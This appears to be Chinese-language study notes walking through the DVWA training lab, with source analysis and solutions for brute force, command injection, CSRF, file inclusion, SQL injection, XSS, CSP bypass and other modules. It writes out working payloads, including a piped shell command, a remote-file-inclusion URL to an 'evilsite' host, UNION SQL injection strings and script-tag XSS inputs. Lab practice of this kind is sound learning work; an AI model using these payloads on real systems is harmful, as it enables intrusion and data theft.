安装DVWA
解压后找到php.ini文件,检查以下两项是否为on
allow_url_fopen = on
allow_url_include = on
打开config文件夹,将“config.inc.php.list”文件改为:“config.inc.php”,修改user和password为数据库用户名和密码
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
用phpstudy建立网站
打开网站
用户名:admin
密码:password
1.Brute Force
源码分析:
获取用户名、密码
使用 MD5 算法对密码进行哈希处理
构建一个 SQL 查询,用于从 "users" 表中检索与提供的用户名和密码匹配的记录
执行 SQL 查询。如果查询失败,将输出错误
检查查询是否成功,并且只返回一个结果
获取用户的头像 URL
如果登录成功,向 $html
变量添加一条欢迎消息
如果查询没有,登录失败
最后,关闭数据库连接。
解法:
开启代理,打开burpsuite工具,点击login并拦截包
发送到intruder
导入字典
所以用户名admin,密码password
2.Command Injection
源码分析:
连接数据库
一个表单,允许用户输入一个IP地址并“Ping”它
解法:
输入本机的ip地址
显示乱码
在dvwa根目录里找到dvwaPage.inc.php
打开文件,将utf-8改为GB2312
保存后重新输入127.0.0.1
发现乱码可以正确显示
用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
输入127.0.0.1 | dir
成功执行命令
3.CSRF
要求输入新密码和确认密码,所以这个功能是修改原密码
源码分析:
password_new
和 password_conf
参数,是用户输入的新密码和确认密码。
如果新密码和确认密码相同,代码将继续执行密码更改操作。
使用 mysqli_real_escape_string
函数对 $pass_new
进行转义,以防止 SQL 注入。
用 MD5 哈希算法对新密码进行哈希处理。
构造一个 SQL UPDATE
语句,用于将用户密码更新为新密码。
用 mysqli_query
函数执行 SQL 语句。如果执行失败,将输出错误信息。
如果密码成功更改,将向用户显示“Password Changed.”的消息。
如果密码不匹配,将显示“Passwords did not match.”的消息。
关闭数据库连接
解法:
按要求输入后
如果输入的密码不同,则会显示
观察发现,网址栏会显示出新密码和确认密码
尝试只在url栏输入命令
示例:
新密码为123456
确认密码为password
会出现和在框内输入相同的反馈
通过新建标签页可以直接跳转
4.file inclusion
源码:
在目录中发现了四个文件
在网页中只发现三个文件
所以要想办法打开file4.php
依次打开三个文件
可以看到url栏里命令
将文件名改为file4.php
根据help在url栏中输入
http://dvwa/vulnerabilities/fi/?page=http://www.evilsite.com/evil.php
5.File Upload
源码分析:
前端验证,与upload-lab第一关类似
解法:
禁用Javascript
6.Insecure CAPTCHA
分析源码:
要跳过验证码,则必须通过检查step==2
解法:
通过抓包
改包将step改为2
7.SQL injection
输入1'
报错
1' order by 1--+和1' order by 2--+正常
输入1' order by 3 -- +
在url栏里输入?id=1' union select 1,2 -- + &Submit=Submit#
得显示位
输入?id=1' union select version(),database() -- + &Submit=Submit#
得版本和数据库信息
表
?id=1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- + &Submit=Submit#
查询user表内字段
?id=1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- + &Submit=Submit#
8.SQL Injection (Blind)
输入1时
输入一个大数字时
满足布尔盲注条件
查询版本
9.Weak Session IDs
源码分析:
这段 PHP 代码主要处理 HTTP POST 请求,并在会话中设置一个名为 last_session_id
的变量。如果此变量不存在,则初始化为 0,并在每次 POST 请求时递增。然后,这个 last_session_id
的值被设置为一个名为 "dvwaSession" 的 cookie。
检查 HTTP 请求的方法是否为 "POST"。如果是,那么代码块内的逻辑将执行。
检查会话变量 last_session_id
是否已经设置。
如果 last_session_id
没有设置,那么它将被初始化为 0
$_SESSION['last_session_id']++;
将 last_session_id
的值递增。这意味着每次 POST 请求时,last_session_id
的值都会增加。
setcookie("dvwaSession", $cookie_value);
这行代码设置一个名为 "dvwaSession" 的 cookie,其值为 $cookie_value
每次当接收到一个 POST 请求时,这段代码都会增加 last_session_id
的值,并将其设置为一个名为 "dvwaSession" 的 cookie。
解法:
抓包
找到cookie
POST :dvwaSession=14; security=low; PHPSESSID=o4goium6auku82vkisi7c7hc7k
10.DOM Based Cross Site Scripting (XSS)
随便改语言,发现default是个传参点
输入<script>alert(1)</script>
11.Reflected Cross Site Scripting (XSS)
源码分析:
-
设置 HTTP 响应头
X-XSS-Protection
为0
:header ("X-XSS-Protection: 0");
这行代码禁用了大多数现代浏览器内置的跨站脚本(XSS)过滤器。 -
检查 GET 请求中是否存在名为 "name" 的参数:
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
这行代码检查$_GET
超全局数组中是否存在名为 "name" 的键,并且其值不为NULL
。如果条件满足,代码会执行大括号内的逻辑。 -
输出用户提供的 "name" 参数:
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
如果 "name" 参数存在且不为NULL
,这行代码会将 "Hello " 字符串和用户提供的 "name" 参数值拼接起来,并通过<pre>
标签格式化输出。这里直接输出了用户提供的输入,而没有进行任何形式的验证或转义,这可能导致跨站脚本(XSS)攻击。
没有防御
输入<script>alert(123)</script>
12.Stored Cross Site Scripting (XSS)
源码分析:
-
检查提交:通过
isset($_POST['btnSign'])
检查是否有一个名为btnSign
的 POST 请求,这通常是一个提交按钮。 -
获取输入:从 POST 请求中获取
mtxMessage
(留言内容)和txtName
(用户名)的值,并使用trim
函数去除首尾空白字符。 -
输入清理:使用
stripslashes
去除用户输入中的反斜杠,然后使用mysqli_real_escape_string
转义特殊字符以防止 SQL 注入。这里使用了全局变量$GLOBALS["___mysqli_ston"]
作为数据库连接对象 -
数据库插入:构建一个 SQL 插入语句,并使用
mysqli_query
执行该语句将数据插入到guestbook
表中。如果查询失败,脚本将终止并输出错误信息。
输入<script>alert(1)</script>
13.Content Security Policy (CSP) Bypass
源码分析:
$headerCSP
变量存储了一个 CSP 策略字符串。CSP 是一个额外的安全层,用于检测和缓解某些类型的攻击,包括跨站脚本和数据注入攻击。
这个策略限制了哪些源可以执行 JavaScript 脚本。在这个例子中,CSP 策略允许从以下几个源加载和执行脚本:
pastebin.com
hastebin.com
www.toptal.com
example.com
code.jquery.com
https://ssl.google-analytics.com
header($headerCSP);
这行代码将这个 CSP 策略发送到 HTTP 响应头部,告知浏览器只有从这些指定的源加载的脚本才是安全的。
这段代码首先检查是否有一个名为 include
的 POST 请求参数。如果有,它会将这个参数的值(预期是一个 URL)作为一个 <script>
标签的 src
属性,动态地包含在页面上。这意味着,任何用户通过表单提交的 URL 都会被作为脚本加载到页面上。
接下来,代码创建了一个 HTML 表单。这个表单允许用户输入一个 URL,并有一个提交按钮。当用户点击提交按钮时,表单会发送一个 POST 请求到相同的页面(或处理该表单的 PHP 脚本),并且 include
参数将包含用户输入的 URL。
解法:
点击raw
复制链接;
https://pastebin.com/raw/2yha7JSq
14.JavaScript
源码:
根据提示输入success会出现invalid token
输入success抓包
change me 抓包
对比发现,token值相同
从源码中找到generate_token 部分:
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
-
首先,它使用
rot13
函数对phrase
变量中的字符串进行ROT13加密。ROT13是一种简单的替换密码,其中每个字母在字母表中移动13个位置。例如,'A'会变成'N','B'会变成'O',依此类推。 -
接着,它将ROT13加密后的结果传递给
md5
函数。md5
是一种哈希算法,它接受一个字符串作为输入,并返回一个固定长度(通常是32个字符的十六进制数)的哈希值。这个哈希值是对原始输入的唯一表示,即使输入只有微小的变化,哈希值也会有显著的不同。 -
最后,它将
md5
函数返回的哈希值设置到HTML文档中另一个元素的值中。这个元素的ID为"token"
在开发者工具中的控制台输入generate_token();并运行
点击submit
显示well done!